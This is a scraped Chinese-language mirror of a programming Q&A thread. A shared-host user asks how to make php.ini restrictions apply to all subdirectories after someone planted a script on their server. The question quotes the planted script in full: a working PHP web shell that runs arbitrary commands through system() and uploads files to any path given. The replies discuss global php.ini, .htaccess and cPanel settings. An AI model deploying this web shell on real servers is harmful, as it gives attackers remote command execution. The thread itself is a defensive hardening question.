Warning: file_get_contents(/data/phpspider/zhask/data//catemap/9/security/4.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Security 如何使php.ini文件影响服务器的所有目录/子目录?_Security_Php - Fatal编程技术网

Security 如何使php.ini文件影响服务器的所有目录/子目录?

Security 如何使php.ini文件影响服务器的所有目录/子目录?,security,php,Security,Php,几周前,我在共享服务器上打开了一个漏洞,我的朋友上传了以下PHP脚本: <?php if(isset($_REQUEST['cmd'])) { echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; } ?> <?php if(isset($_REQUEST['upload'])) { echo '<for

几周前,我在共享服务器上打开了一个漏洞,我的朋友上传了以下PHP脚本:

<?php
if(isset($_REQUEST['cmd'])) {
    echo "<pre>";
    $cmd = ($_REQUEST['cmd']);
    system($cmd);
    echo "</pre>";
    die;
}
?>

<?php
if(isset($_REQUEST['upload'])) {
    echo '<form enctype="multipart/form-data" action=".config.php?send" method="POST">
        <input type="hidden" name="MAX_FILE_SIZE" value="5120000" />
        Send this file: <input name="userfile" type="file" />
        To here: <input type="text" name="direct" value="/home/chriskan/public_html/_phx2600/wp-content/???" />
        <input type="submit" value="Send File" />
    </form>';
}
?>

<?php
if(isset($_REQUEST['send'])) {
    $uploaddir = $_POST["direct"];
    $uploadfile = $uploaddir . basename($_FILES['userfile']['name']);

    if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
        echo "File is valid, and was successfully uploaded.\n"; echo $uploaddir;
    } else {
        echo "Upload failed";
    }
}
?>

这个脚本允许他通过URL变量处理命令

在我的public_html目录的php.ini文件中,我禁用了系统和其他功能。如果脚本位于我的public_html目录中,这将阻止脚本运行,但如果脚本位于该目录的子目录中,则不会停止脚本运行。如果我将php.ini文件复制到子目录中,它将阻止它从该目录运行

我的问题是,如何使我的php.ini文件影响我服务器的所有目录/子目录?

一,启动一个选择运行类似脚本的“朋友”


然后担心服务器的安全问题。您的系统在某个地方有一个主php.ini(通常是/etc/php.ini,但如果可以在多个地方,请检查php_info()。该文件控制服务器的默认设置。此外,还可以阻止允许替代的本地设置文件

哇!是否按每个目录移动php.ini文件?我不知道你能做到

我的最佳猜测是(如果我错了,请有人纠正我),php可能会在每个目录的基础上用一组本地规则覆盖全局php.ini文件(很像.htaccess),因此基本上您需要做的就是将php.ini指令更新为全局php.ini(在ubuntu中找到:etc/php5/apache2/php.ini)

或者,您可能希望尝试使用.htaccess在所有页面上预先添加一个php页面,包括以下内容:

当然,确保调用prepend php的.htaccess位于根目录下,否则就会遇到同样的问题


/谢谢各位,你们的回答很好,但答案一直就在我眼前。通过cPanel,我可以编辑我的服务器以使用单个php.ini文件。

你确定吗?我希望我有你的ISP。默认情况下,一些ISP将以public_html提供ini文件的本地副本,以允许覆盖。但是cPanel通常只提供服务器范围默认值的引用。

myphpinfo()命令返回配置文件(php.ini)路径/usr/lib-Loaded-Configuration-File/usr/local/lib/php.ini,但这两个目录中都没有php.ini文件。它可能在运行默认值。将一个php.ini文件复制到/usr/local/lib中,看看它是否作为主文件接管。我认为应该这样。
ini_set('your_directive')